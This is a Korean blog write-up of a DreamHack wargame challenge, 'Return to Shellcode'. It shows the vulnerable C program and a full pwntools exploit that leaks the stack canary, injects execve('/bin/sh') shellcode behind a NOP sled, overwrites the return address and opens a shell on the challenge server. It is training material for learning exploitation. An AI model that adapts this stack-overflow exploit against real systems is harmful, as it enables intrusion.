Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage6_문제풀이(Return to Shellcode) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage6_문제풀이(Return to Shellcode)

CIDY 2022. 7. 2. 01:27
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
// 64-bit, canary, pie, full relro

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

nx가 안걸려있으니 쉘코드를 쓰라는거다. 

 

대충 계획을 짜 보면, 버퍼 주소 출력받아두고 -> A를 0x59개 보내서 카나리 널바이트까지 덮어 쭉 출력받아 카나리 릭 -> 페이로드 짜서 gets에 보내고 buf로 ret

 

쉘코드는 그냥 앞으로 따로 공부하거나 특별히 만들어야 할 상황이 아니면 shellcraft를 쓸려고 한다. (만들다가 지침ㅋㅋ)

 

from pwn import *

p = remote("host3.dreamhack.games", 16281)

context.arch = "amd64"

p.recvuntil(b"Address of the buf: ")
buf = int(p.recvline()[:-1], 16)
print(hex(buf))

p.recvuntil(b"Input: ")

p.send(b"A" * 0x59)
p.recvuntil(b"Your input is '")

p.recvn(0x59)

canary = u64(p.recvn(7).rjust(8,b"\x00"))
print(hex(canary))

p.recvuntil(b"Input: ")

shellcode = shellcraft.execve("/bin/sh\x00", 0, 0)

pay = b"\x90" * 0x10
pay += asm(shellcode)
pay += b"\x90" * (0x58 - len(pay))
pay += p64(canary)
pay += b"B" * 0x8
pay += p64(buf)

p.sendline(pay)
p.interactive()

 

딱히 분석할 건 없다.